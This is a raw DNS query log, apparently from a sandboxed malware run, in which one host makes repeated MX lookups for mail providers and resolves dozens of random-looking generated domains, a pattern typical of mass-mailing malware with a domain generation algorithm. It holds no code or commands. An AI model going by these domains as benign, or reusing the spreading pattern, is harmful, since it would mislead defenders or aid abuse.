Nov 7, 2022 22:24:21.414959908 CET	192.168.2.5	8.8.8.8	0x656d	Standard query (0)	gmail.com	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:21.436676025 CET	192.168.2.5	8.8.8.8	0xd9d4	Standard query (0)	mx1.riseup.net	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:21.461781025 CET	192.168.2.5	8.8.8.8	0x3100	Standard query (0)	shwwnharma.biz	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:21.464790106 CET	192.168.2.5	8.8.8.8	0x550d	Standard query (0)	mail.ru	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:21.469646931 CET	192.168.2.5	8.8.8.8	0x71d5	Standard query (0)	alt1.aspmx.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:21.484399080 CET	192.168.2.5	8.8.8.8	0xa622	Standard query (0)	alt1.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:21.488730907 CET	192.168.2.5	8.8.8.8	0xf21	Standard query (0)	mxs.mail.ru	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:21.494010925 CET	192.168.2.5	8.8.8.8	0xa5f8	Standard query (0)	namrhepwnn.us	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:21.572660923 CET	192.168.2.5	8.8.8.8	0x8c51	Standard query (0)	wwqeemeesr.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:23.279901028 CET	192.168.2.5	8.8.8.8	0xc739	Standard query (0)	prnaqpsqar.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:23.284451008 CET	192.168.2.5	8.8.8.8	0x71b2	Standard query (0)	alt2.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:23.287501097 CET	192.168.2.5	8.8.8.8	0xe086	Standard query (0)	aspmx2.googlemail.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:23.341175079 CET	192.168.2.5	8.8.8.8	0xede5	Standard query (0)	memmshersa.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:23.369398117 CET	192.168.2.5	8.8.8.8	0x899	Standard query (0)	rwneseeers.org	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:23.699559927 CET	192.168.2.5	8.8.8.8	0x4b91	Standard query (0)	enahmnhqah.ws	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:24.415328979 CET	192.168.2.5	8.8.8.8	0x72fc	Standard query (0)	nmnhwanmwh.us	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:24.429459095 CET	192.168.2.5	8.8.8.8	0x44cc	Standard query (0)	aspmx3.googlemail.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:24.457297087 CET	192.168.2.5	8.8.8.8	0x9460	Standard query (0)	alt3.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:24.463839054 CET	192.168.2.5	8.8.8.8	0x9ef	Standard query (0)	shmsemwams.biz	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:24.737267017 CET	192.168.2.5	8.8.8.8	0x84fa	Standard query (0)	nnrhanmhwn.us	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:24.785211086 CET	192.168.2.5	8.8.8.8	0x686	Standard query (0)	alt4.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:24.792412043 CET	192.168.2.5	8.8.8.8	0x894	Standard query (0)	hsqrpmnhwa.net	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:24.947608948 CET	192.168.2.5	8.8.8.8	0xf1ec	Standard query (0)	pnhhpawqpa.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:24.994519949 CET	192.168.2.5	8.8.8.8	0xbb5f	Standard query (0)	hpeemnapan.net	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:25.027244091 CET	192.168.2.5	8.8.8.8	0x5cf5	Standard query (0)	amnrsmaaqh.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:25.633804083 CET	192.168.2.5	8.8.8.8	0x9cc3	Standard query (0)	erwrahwnhs.ws	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:25.658499956 CET	192.168.2.5	8.8.8.8	0x1a2e	Standard query (0)	bog.msu.ru	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:26.415546894 CET	192.168.2.5	8.8.8.8	0x3843	Standard query (0)	prmnsewqws.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:26.547272921 CET	192.168.2.5	8.8.8.8	0x3b63	Standard query (0)	mhwrraqnwa.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:26.770397902 CET	192.168.2.5	8.8.8.8	0x1a2e	Standard query (0)	bog.msu.ru	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:26.779136896 CET	192.168.2.5	8.8.8.8	0xc9c3	Standard query (0)	pswmhhehwn.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:26.864418030 CET	192.168.2.5	8.8.8.8	0xcd8f	Standard query (0)	snrhmanqhh.biz	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:26.984952927 CET	192.168.2.5	8.8.8.8	0x3d91	Standard query (0)	qmasphhsah.info	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:27.835227013 CET	192.168.2.5	8.8.8.8	0x1a2e	Standard query (0)	bog.msu.ru	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:28.206795931 CET	192.168.2.5	8.8.8.8	0x726	Standard query (0)	emasqpamqs.ws	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:29.035733938 CET	192.168.2.5	8.8.8.8	0xbc32	Standard query (0)	qpsnmphmhn.info	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:29.262646914 CET	192.168.2.5	8.8.8.8	0xdd53	Standard query (0)	eaehanqhsr.ws	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:30.066550016 CET	192.168.2.5	8.8.8.8	0xfa68	Standard query (0)	gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:30.068778992 CET	192.168.2.5	8.8.8.8	0xe944	Standard query (0)	pnpnsrnear.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:30.198357105 CET	192.168.2.5	8.8.8.8	0xe5e0	Standard query (0)	ssrnpwprpn.biz	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:30.426664114 CET	192.168.2.5	8.8.8.8	0xe88	Standard query (0)	qaqamrhnhh.info	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:30.668399096 CET	192.168.2.5	8.8.8.8	0x9c0e	Standard query (0)	gzip.org	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:30.715900898 CET	192.168.2.5	8.8.8.8	0x5424	Standard query (0)	alumni.caltech.edu	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:30.727459908 CET	192.168.2.5	8.8.8.8	0xc768	Standard query (0)	gzip.org	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:30.772263050 CET	192.168.2.5	8.8.8.8	0x6072	Standard query (0)	nongnu.org	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:31.130420923 CET	192.168.2.5	8.8.8.8	0x5340	Standard query (0)	alt4.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:31.133457899 CET	192.168.2.5	8.8.8.8	0x49f3	Standard query (0)	alumni-caltech-edu.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:31.137902021 CET	192.168.2.5	8.8.8.8	0xd463	Standard query (0)	eggs.gnu.org	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:31.479331970 CET	192.168.2.5	8.8.8.8	0xe88	Standard query (0)	qaqamrhnhh.info	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:32.019856930 CET	192.168.2.5	8.8.8.8	0x4e0b	Standard query (0)	sphsmrhwha.biz	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:32.024615049 CET	192.168.2.5	8.8.8.8	0x312e	Standard query (0)	alt3.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:32.051837921 CET	192.168.2.5	8.8.8.8	0x8764	Standard query (0)	qhsmqqhnsh.info	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:32.143721104 CET	192.168.2.5	8.8.8.8	0x9851	Standard query (0)	hqrqwrpmhh.net	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:32.181662083 CET	192.168.2.5	8.8.8.8	0x652e	Standard query (0)	aenenenqsa.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:32.212594986 CET	192.168.2.5	8.8.8.8	0xf119	Standard query (0)	wnshehamhh.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:32.265678883 CET	192.168.2.5	8.8.8.8	0xa7e9	Standard query (0)	remrpqpseh.org	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:32.816742897 CET	192.168.2.5	8.8.8.8	0x252f	Standard query (0)	hwnppemeea.net	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:32.853207111 CET	192.168.2.5	8.8.8.8	0x78e9	Standard query (0)	pnaqheqnsa.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:32.890767097 CET	192.168.2.5	8.8.8.8	0x977c	Standard query (0)	mwhnpqrmrn.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:33.307188034 CET	192.168.2.5	8.8.8.8	0x5eeb	Standard query (0)	pwramqmsms.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:33.336077929 CET	192.168.2.5	8.8.8.8	0xa213	Standard query (0)	hmamsmwhar.net	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:33.588263035 CET	192.168.2.5	8.8.8.8	0xd26d	Standard query (0)	pqshhpemrn.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:34.529917955 CET	192.168.2.5	8.8.8.8	0xd837	Standard query (0)	wpqqhhspps.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:35.151566029 CET	192.168.2.5	8.8.8.8	0x325e	Standard query (0)	nongnu.org	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:35.199439049 CET	192.168.2.5	8.8.8.8	0xfcf8	Standard query (0)	kinoho.net	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:35.205277920 CET	192.168.2.5	8.8.8.8	0x99ad	Standard query (0)	eggs.gnu.org	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:35.224939108 CET	192.168.2.5	8.8.8.8	0x1b4e	Standard query (0)	gmail.com	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:35.255907059 CET	192.168.2.5	8.8.8.8	0x17f5	Standard query (0)	alt2.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:35.881184101 CET	192.168.2.5	8.8.8.8	0xfdd1	Standard query (0)	aspmx2.googlemail.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:38.113405943 CET	192.168.2.5	8.8.8.8	0xac12	Standard query (0)	riseup.net	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:38.119326115 CET	192.168.2.5	8.8.8.8	0x424a	Standard query (0)	alt1.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:38.171124935 CET	192.168.2.5	8.8.8.8	0x74b0	Standard query (0)	nqenrpwpeh.us	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:38.178524017 CET	192.168.2.5	8.8.8.8	0xd1b8	Standard query (0)	mx1.riseup.net	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:38.210311890 CET	192.168.2.5	8.8.8.8	0xa7bb	Standard query (0)	spawwehsrs.biz	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:38.332108021 CET	192.168.2.5	8.8.8.8	0x3aa0	Standard query (0)	alt3.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:40.771078110 CET	192.168.2.5	8.8.8.8	0xc452	Standard query (0)	ppeseaqmms.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:40.774734020 CET	192.168.2.5	8.8.8.8	0x3216	Standard query (0)	aspmx3.googlemail.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:40.775486946 CET	192.168.2.5	8.8.8.8	0xd090	Standard query (0)	gmail.com	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:40.797638893 CET	192.168.2.5	8.8.8.8	0x4cad	Standard query (0)	msarphnewh.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:40.804047108 CET	192.168.2.5	8.8.8.8	0x8057	Standard query (0)	alt1.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:40.827065945 CET	192.168.2.5	8.8.8.8	0xf	Standard query (0)	pwqpewwahh.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:40.836184978 CET	192.168.2.5	8.8.8.8	0xa400	Standard query (0)	bog.msu.ru	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:40.836935043 CET	192.168.2.5	8.8.8.8	0x71db	Standard query (0)	mail.ru	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:41.035757065 CET	192.168.2.5	8.8.8.8	0x46bf	Standard query (0)	mxs.mail.ru	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:41.044423103 CET	192.168.2.5	8.8.8.8	0x8c72	Standard query (0)	hmparqsaqa.net	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:41.111342907 CET	192.168.2.5	8.8.8.8	0x58fe	Standard query (0)	qsqpspspqn.info	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:41.268915892 CET	192.168.2.5	8.8.8.8	0x5265	Standard query (0)	haearrsqhn.net	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:41.886652946 CET	192.168.2.5	8.8.8.8	0xa400	Standard query (0)	bog.msu.ru	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:42.281611919 CET	192.168.2.5	8.8.8.8	0x7721	Standard query (0)	qnrnwnwaas.info	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:42.304689884 CET	192.168.2.5	8.8.8.8	0x4833	Standard query (0)	alt2.aspmx.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:42.330008984 CET	192.168.2.5	8.8.8.8	0xc4bf	Standard query (0)	gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:42.357004881 CET	192.168.2.5	8.8.8.8	0x5cd9	Standard query (0)	weaeprawra.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:42.404185057 CET	192.168.2.5	8.8.8.8	0xc960	Standard query (0)	qmhqeesawh.info	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:42.588357925 CET	192.168.2.5	8.8.8.8	0x8fe3	Standard query (0)	ssnsphrnws.biz	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:42.637356043 CET	192.168.2.5	8.8.8.8	0x5b59	Standard query (0)	aewrhprres.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:42.940263987 CET	192.168.2.5	8.8.8.8	0xa400	Standard query (0)	bog.msu.ru	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:43.770430088 CET	192.168.2.5	8.8.8.8	0xfb89	Standard query (0)	alt3.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:43.773143053 CET	192.168.2.5	8.8.8.8	0x94ac	Standard query (0)	mpehqsqwmn.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:43.774382114 CET	192.168.2.5	8.8.8.8	0xaed4	Standard query (0)	aspmx.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:43.827230930 CET	192.168.2.5	8.8.8.8	0xb07d	Standard query (0)	rnrmmnpnpn.org	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:44.116906881 CET	192.168.2.5	8.8.8.8	0xaaec	Standard query (0)	mwaaemmnhn.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:44.832684040 CET	192.168.2.5	8.8.8.8	0x61c	Standard query (0)	asnrrsamsa.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:44.834065914 CET	192.168.2.5	8.8.8.8	0xce1	Standard query (0)	alt1.aspmx.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:45.647943020 CET	192.168.2.5	8.8.8.8	0xc3bf	Standard query (0)	whmrraawha.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:46.139323950 CET	192.168.2.5	8.8.8.8	0x9fc1	Standard query (0)	alt1.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:46.579967976 CET	192.168.2.5	8.8.8.8	0x3f95	Standard query (0)	qmsaspnsna.info	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:47.151484013 CET	192.168.2.5	8.8.8.8	0x9365	Standard query (0)	hnehqqwwrs.net	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:47.182531118 CET	192.168.2.5	8.8.8.8	0x694d	Standard query (0)	alt4.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:47.264228106 CET	192.168.2.5	8.8.8.8	0xfeba	Standard query (0)	qppamspwhs.info	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:47.268378019 CET	192.168.2.5	8.8.8.8	0xba8f	Standard query (0)	gzip.org	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:47.556771040 CET	192.168.2.5	8.8.8.8	0xc65f	Standard query (0)	gzip.org	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:48.281105042 CET	192.168.2.5	8.8.8.8	0xfeba	Standard query (0)	qppamspwhs.info	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:48.459295034 CET	192.168.2.5	8.8.8.8	0x7757	Standard query (0)	weeqshswms.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:48.488461971 CET	192.168.2.5	8.8.8.8	0x47aa	Standard query (0)	aanparshnh.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:48.963222980 CET	192.168.2.5	8.8.8.8	0x7483	Standard query (0)	hpeqherars.net	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:49.080409050 CET	192.168.2.5	8.8.8.8	0x8d9a	Standard query (0)	nnhhneqnrh.us	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:49.123549938 CET	192.168.2.5	8.8.8.8	0xbce4	Standard query (0)	saanqmaqpn.biz	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:49.154464960 CET	192.168.2.5	8.8.8.8	0x69f5	Standard query (0)	armahmrsaa.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:49.190494061 CET	192.168.2.5	8.8.8.8	0xd84	Standard query (0)	wqahhaqenh.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:49.314557076 CET	192.168.2.5	8.8.8.8	0x63d7	Standard query (0)	aharwhphnh.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:49.541306019 CET	192.168.2.5	8.8.8.8	0x8f22	Standard query (0)	mnrepmepar.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:49.568238020 CET	192.168.2.5	8.8.8.8	0xa9ff	Standard query (0)	apqhwmnqrh.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:49.597397089 CET	192.168.2.5	8.8.8.8	0x387e	Standard query (0)	mehsnsamha.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:49.627132893 CET	192.168.2.5	8.8.8.8	0xfa5f	Standard query (0)	alt4.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:49.629971027 CET	192.168.2.5	8.8.8.8	0x5351	Standard query (0)	qqpqwehwah.info	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:49.967283010 CET	192.168.2.5	8.8.8.8	0xcea8	Standard query (0)	sqmswpnqws.biz	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:50.072184086 CET	192.168.2.5	8.8.8.8	0x6716	Standard query (0)	pqarnhhhhn.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:50.101464987 CET	192.168.2.5	8.8.8.8	0x49b5	Standard query (0)	hqepnmqewn.net	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:50.130220890 CET	192.168.2.5	8.8.8.8	0x22a6	Standard query (0)	rsrsemnren.org	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:50.335633039 CET	192.168.2.5	8.8.8.8	0xf999	Standard query (0)	spewqmspma.biz	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:50.773744106 CET	192.168.2.5	8.8.8.8	0x69c3	Standard query (0)	rahhhqwqqa.org	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:50.844698906 CET	192.168.2.5	8.8.8.8	0x9870	Standard query (0)	empewsqsqa.ws	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:51.314816952 CET	192.168.2.5	8.8.8.8	0x8662	Standard query (0)	pmnrrneaah.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:51.341742992 CET	192.168.2.5	8.8.8.8	0x5a32	Standard query (0)	mnwsnarssr.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:51.379329920 CET	192.168.2.5	8.8.8.8	0xe12c	Standard query (0)	alumni.caltech.edu	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:51.382302046 CET	192.168.2.5	8.8.8.8	0x37f8	Standard query (0)	rrpnmeawrs.org	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:51.417840004 CET	192.168.2.5	8.8.8.8	0xa6eb	Standard query (0)	nongnu.org	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:51.460773945 CET	192.168.2.5	8.8.8.8	0xd851	Standard query (0)	sermsqqqna.biz	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:51.515242100 CET	192.168.2.5	8.8.8.8	0xa358	Standard query (0)	rsqsepmwas.org	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:51.541522980 CET	192.168.2.5	8.8.8.8	0x4b2b	Standard query (0)	kinoho.net	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:51.557236910 CET	192.168.2.5	8.8.8.8	0xa803	Standard query (0)	alumni-caltech-edu.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:51.570957899 CET	192.168.2.5	8.8.8.8	0x6c3d	Standard query (0)	mqpppnhaes.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:51.581024885 CET	192.168.2.5	8.8.8.8	0x4816	Standard query (0)	eggs.gnu.org	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:51.601044893 CET	192.168.2.5	8.8.8.8	0xf647	Standard query (0)	aspmx2.googlemail.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:51.601921082 CET	192.168.2.5	8.8.8.8	0xc60	Standard query (0)	aqmrnawpan.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:51.719291925 CET	192.168.2.5	8.8.8.8	0xd1cb	Standard query (0)	wrnwernreh.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:51.743432045 CET	192.168.2.5	8.8.8.8	0x86b4	Standard query (0)	aeaqmpsaqa.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:51.774502993 CET	192.168.2.5	8.8.8.8	0xacdc	Standard query (0)	whwsqnemsn.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:51.802190065 CET	192.168.2.5	8.8.8.8	0x123e	Standard query (0)	rqeaqeewas.org	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:51.926275969 CET	192.168.2.5	8.8.8.8	0x5837	Standard query (0)	gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:51.956198931 CET	192.168.2.5	8.8.8.8	0xb1f5	Standard query (0)	wqpaamhwrs.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:51.986732960 CET	192.168.2.5	8.8.8.8	0xe0e0	Standard query (0)	reaaheeara.org	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:52.486216068 CET	192.168.2.5	8.8.8.8	0x798b	Standard query (0)	aspmx3.googlemail.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:53.668468952 CET	192.168.2.5	8.8.8.8	0x5077	Standard query (0)	alt1.aspmx.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:54.497123003 CET	192.168.2.5	8.8.8.8	0x14f0	Standard query (0)	alt2.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:54.514702082 CET	192.168.2.5	8.8.8.8	0xd18e	Standard query (0)	alt2.aspmx.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:55.714349031 CET	192.168.2.5	8.8.8.8	0x22a3	Standard query (0)	aspmx.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:55.803239107 CET	192.168.2.5	8.8.8.8	0x5799	Standard query (0)	gmail.com	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:56.052330971 CET	192.168.2.5	8.8.8.8	0x3fc6	Standard query (0)	alt2.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:56.057356119 CET	192.168.2.5	8.8.8.8	0xd8f6	Standard query (0)	gmail.com	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:56.060391903 CET	192.168.2.5	8.8.8.8	0x7983	Standard query (0)	riseup.net	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:56.115386009 CET	192.168.2.5	8.8.8.8	0x92	Standard query (0)	gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:56.127661943 CET	192.168.2.5	8.8.8.8	0x5cb5	Standard query (0)	mail.ru	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:56.254122019 CET	192.168.2.5	8.8.8.8	0x82f4	Standard query (0)	mx1.riseup.net	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:56.257011890 CET	192.168.2.5	8.8.8.8	0x62d	Standard query (0)	mxs.mail.ru	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:00.617098093 CET	192.168.2.5	8.8.8.8	0x353e	Standard query (0)	alt3.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:00.619553089 CET	192.168.2.5	8.8.8.8	0xfd07	Standard query (0)	alt2.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:00.619925022 CET	192.168.2.5	8.8.8.8	0xa549	Standard query (0)	bog.msu.ru	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:01.668253899 CET	192.168.2.5	8.8.8.8	0xa549	Standard query (0)	bog.msu.ru	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:01.761996031 CET	192.168.2.5	8.8.8.8	0xbb1b	Standard query (0)	alt3.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:02.677300930 CET	192.168.2.5	8.8.8.8	0xa549	Standard query (0)	bog.msu.ru	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:03.362457991 CET	192.168.2.5	8.8.8.8	0xc37c	Standard query (0)	alumni.caltech.edu	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:03.386260986 CET	192.168.2.5	8.8.8.8	0x7945	Standard query (0)	nongnu.org	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:03.388580084 CET	192.168.2.5	8.8.8.8	0x67d	Standard query (0)	gzip.org	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:03.762491941 CET	192.168.2.5	8.8.8.8	0x83a1	Standard query (0)	eggs.gnu.org	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:04.001343966 CET	192.168.2.5	8.8.8.8	0x6702	Standard query (0)	alumni-caltech-edu.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:04.003218889 CET	192.168.2.5	8.8.8.8	0x20ca	Standard query (0)	gzip.org	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:06.468266964 CET	192.168.2.5	8.8.8.8	0x453a	Standard query (0)	alt1.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:07.292644024 CET	192.168.2.5	8.8.8.8	0x4f77	Standard query (0)	alt4.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:07.582837105 CET	192.168.2.5	8.8.8.8	0xd517	Standard query (0)	nongnu.org	MX (Mail exchange)	IN (0x0001)	false
